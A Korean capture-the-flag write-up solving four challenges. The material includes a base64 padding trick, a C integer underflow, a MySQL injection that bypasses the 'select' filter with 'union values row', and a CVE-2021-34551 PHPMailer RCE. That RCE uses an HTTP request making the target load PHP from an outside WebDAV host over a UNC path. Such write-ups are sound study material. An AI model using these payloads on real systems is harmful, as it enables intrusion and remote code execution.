2021.11.27(토) 14:00:00 ~ 2021.11.27(토) 17:59:59
User: 9ucc1 (Score: 3742)
Ranking: 1st in BoB (Total Ranking: 2nd)
대회시간이 짧아서 가능했던 등수...!
좋은 문제 제작해주신 라온화이트햇 여러분께 감사드립니다.
[MISC] who_are_you
#!/usr/bin/env python3
import base64
import sys
admin_account = b"YWRtaW46YWRtaW4="
def main():
print('give me account info ( base64(id:pw) format ) ')
user_account = input().encode()
if user_account == admin_account:
print("lier! your not admin!")
sys.exit(-1)
user_account = base64.b64decode(user_account).decode()
user_id = user_account.split(':')[0]
user_pw = user_account.split(':')[1]
if user_id == 'admin' and user_pw == 'admin':
print('yeah bro')
with open('./flag', 'r') as f:
print(f.read())
return
else:
print('hello ', user_id)
if __name__ == '__main__':
main()
인코딩 전엔 다르지만, 인코딩 후엔 같다고 인식되는 base64 데이터를 만들어주면 플래그를 얻을 수 있다.
Base64 padding 을 조작하여 해당 조건을 만족시킬 수 있다.
Payload: YWRtaW46YWRtaW4==
FLAG: BISC{1_don2t_car3_p4dding_bytes}
[MISC] fungame
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
/*
my first open source project
Contributor: איש רע
*/
typedef enum _bool {
true,
false
}bool;
#define true 1
#define false 0
bool is_valid_bet(user_money, bet) { // thanks to איש רע
/* } if(bet <= user_money && bet >=0 ) if valid bet, return true */
return true;
/* if not valid bet, return false {*/
return false;
}
int get_rannum()
{
int fd;
int rannum=-1;
if ( (fd=open("/dev/urandom", O_RDONLY)) == -1) {
perror("failed to open /dev/urandom.");
exit(0);
}
if (read(fd, &rannum, 4) == -1) {
perror("failed read byte from /dev/urandom");
exit(0);
}
close(fd);
return rannum%10;
}
int main(void)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
int user_money = 100;
int user_number=0;
int bet = -1;
int rannum;
printf("true: %d\n", true);
printf("false: %d\n", false);
while(1) {
printf("[== RANNUM GAME ==]\n");
printf("you got %d\n", user_money);
puts("");
do {
puts("bet ?");
scanf("%d", &bet);
} while(!is_valid_bet(user_money, bet));
user_money -= bet;
puts("guess RANdom NUMber (0~9)");
scanf("%d", &user_number);
user_number %= 10 + 1;
rannum = get_rannum();
if (user_number == rannum) {
puts("Yes! Yes ! ");
user_money += (bet*user_number);
}
else {
printf("wrong.. rannum was %d\n", rannum);
}
if (user_money >= 0xb0b10) {
break;
}
}
puts("[== RANNUM GAME CLEAR ==]");
system("cat /flag");
return 0;
}
사용자 입력값이 음수인 경우에 대한 처리가 존재하지 않아서 엄청 작은 값을 입력하여 underflow가 발생하도록 하였다.
FLAG: BISC{ecru0s_naj0rt}
[WEB] select
<?php
if(empty($_GET))
die(highlight_file(__FILE__));
include_once('config.php');
$upw = @$_GET['upw'];
$username = @$_GET['username'];
foreach($_GET as $g) {
if(preg_match("/select|\'|\"|\`/i", $g))
die("no hack");
}
$query = "SELECT uid FROM tb WHERE uid='guest' AND upw='$upw' AND username='$username'";
$result = @$db->query($query);
if($result && $result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
if($row['uid'] === 'admin') {
echo $flag;
}
else {
echo $row['uid'];
}
}
} else {
echo 'Try Harder';
}
$db->close();
?>
2개의 파라미터(upw, username)로 입력을 받는다.
select 문자열과 싱글쿼터, 더블쿼터, 백쿼터를 필터링하고 있다.
\(백슬래시)를 통해 Single Quote Escape 할 수 있다.
username=0x61646d696e 으로 쿼리를 조작했지만, uid가 admin인 사용자의 username이 admin이 아니거나, uid=admin 인 사용자가 존재하지 않는 듯 했다.
따라서 union select "admin" 을 이용하면 원하는 결과를 가져올 수 있다.
필터링 되어있는 select 대신, values row() 구문을 이용하여 우회하였다.
( Ref: https://dev.mysql.com/doc/refman/8.0/en/union.html )
Payload: ?upw=\\&username= union values row(0x61646d696e) %23
FLAG: BISC{what_is_values_and_row_in_mysql}
[WEB] EaSSI
CVE-2021-34551 를 분석하여 PHPMaiiler 6.4.1 버전에서 발생했던 RCE를 재현하는 문제이다.
올해 BoB CTF에서 출제된 0 솔버 문제와 동일하다.
문제 서버가 바로 닫혀서 자세한 라업 작성 불가다...ㅜㅜ
gallery.php 페이지에서 images 라는 파라미터로 LFI 가 가능하다.
대충 뽑아온 파일 목록은 다음과 같다.
파일을 훑어보다 보면 api/config.php 에서 PHPMailer 6.4.1 이라는 주석이 적혀있다.
위의 버전에 해당하는 CVE가 존재한다.
$lang_path 변수에 UNC path 을 입력하여 php script를 실행시킬 수 있다.
UNC Path Ref: https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths
GET /api/language.php?code=ko&path=\\\\158.247.214.182@80\\.\\ HTTP/1.1
Host: ctf.choiys.kr:1123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: */*
Referer: http://ctf.choiys.kr:1123/?page=contact
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Windows 와의 서버 통신을 위해 내 서버에서 webDav를 열어 접속을 유도한다.
위와 같은 경로로 패킷을 보내면 문제서버에서 내 서버에 있는 phpmailer.lang-ko.php 경로에 접근하므로, RCE가 가능하다.
자세한 풀이는 라온화이트햇 핵심연구팀 블로그에 자세히 올라와있다.
Ref: https://core-research-team.github.io/2021-08-01/CVE-2021-34551
FLAG: BISC{now_you_know_EaSSI_is_34551}